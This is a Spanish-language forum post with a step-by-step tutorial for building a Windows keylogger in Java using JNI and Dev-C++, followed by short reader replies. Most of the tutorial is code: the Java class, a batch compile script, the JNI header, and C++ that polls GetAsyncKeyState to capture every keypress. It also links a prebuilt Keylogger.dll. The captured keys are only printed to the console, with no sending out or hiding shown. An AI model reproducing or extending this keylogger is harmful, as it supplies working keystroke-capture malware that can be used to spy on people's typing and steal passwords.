Aqui les traigo mi tutorial sobre como programar un Keylogger en java usando JNI y DEV++Necesitas los archivos:
jni_md.h
http://www.mediafire.com/?wt30y33j4mg
jni.h
http://www.mediafire.com/?zngnmognn5h
Los cuales incluiran en el directorio "C:\Archivos de programa\Dev-Cpp\include"
- Paso 1: Creación del Archivo .java
Importante: No tiene que estar en ningun Package
Código
public class Keylogger extends Thread {
private boolean running=true;
private int value =0;
private native int get();
static {
System.loadLibrary("Keylogger");
/**
* Carga de la DLL
*/
}
@Override
public synchronized void run(){
while(running){
value = get();
/**
* Optenemos la Tecla Precionada
*/
System.out.println((char)value);
/**
* La Mostramos en la Salida Estandar
*/
}
}
}
- Paso 2: Creación del .bat para compilacion JNI (Opcional)
Nombre: CompilerJNI.bat
Código
@echo off
title Java
set/p j= .java :
echo.
call javac %j%.java
call javah -jni %j%
pause
echo.
exit
- Paso 3: Generando el . Class y la Cabecera .h (JNI)
Ejecutamos el CompilerJNI.bat y le pasamos el Archivo .java (Keylogger.java) sin la extension.
Podrias compilar direcamente desde la consola
javac Keylogger.java
javah -jni Keylogger
Tienes que tener algun JDK
- Paso 4: Generando la DLL
Abrimos el DEV++
File--->New---->Project--->DLL

Luego veremos 2 Archivos (dllMain.cpp) y la cabecera .h (dll.h) ,
remplazamos el contenido del dll.h por la del Keylogger.h y guardamos como Keylogger.h.
Código
/* DO NOT EDIT THIS FILE - it is machine generated */
#include <jni.h>/* Header for class Keylogger */
#ifndef _Included_Keylogger
#define _Included_Keylogger
#ifdef __cplusplus
extern "C" {
#endif
#undef Keylogger_MIN_PRIORITY
#define Keylogger_MIN_PRIORITY 1L
#undef Keylogger_NORM_PRIORITY
#define Keylogger_NORM_PRIORITY 5L
#undef Keylogger_MAX_PRIORITY
#define Keylogger_MAX_PRIORITY 10L
#undef Keylogger_DELAY
#define Keylogger_DELAY 20L
/** Class: Keylogger
* Method: get
* Signature: ()I
*/
JNIEXPORT jint JNICALL Java_Keylogger_get (JNIEnv *, jobject);
#ifdef __cplusplus
}
#endif
#endif
- Si da problemas
Este archivo tiene que estar en
ahora remplazar el contenido de dllMain.cpp por este:
[/list]
Código
#include <iostream>
#include <windows.h>
#include <fstream>
#include <jni.h>
#include "Keylogger.h"
JNIEXPORT jint JNICALL Java_Keylogger_get(JNIEnv* env, jobject obj){
while(true){
for(int c=8;c<=222;c++){
if(GetAsyncKeyState(c)==-32767)
return c;
}
Sleep(30);
}
}
Y guardar como Keylogger.cpp
Una ves que tengamos El Keylogger.cpp y el Keylogger.h listos en nuestro proyecto Compilamos para generar la DLL
Y listo solo tendriamos que incluir la libreria al lado del Keylogger.java o .class y ejecutar para iniciar el keylogger.
Código
public class Main {
public static void main(String[] args) {
new Keylogger().start();
}
}
Aqui les dejo la DLL Keylogger.dll
http://www.mediafire.com/?e03u9r0emaerf9g
Un Saludo.










Autor





En línea






gracias Crapsalot 
, solamente he hecho una consola para linux en JNA y es mucho 




yo le he probado cientos de veces y no tengo problemas con nada

buen aporte! esta genial.. pero una duda... por que no retornar JStrings en vez de JChars?? asi ya se podrían diferenciar entre tecla [ctrl] [shift] y demás?.. Aunque bueno, creo q eso ya es idea de cada quien. 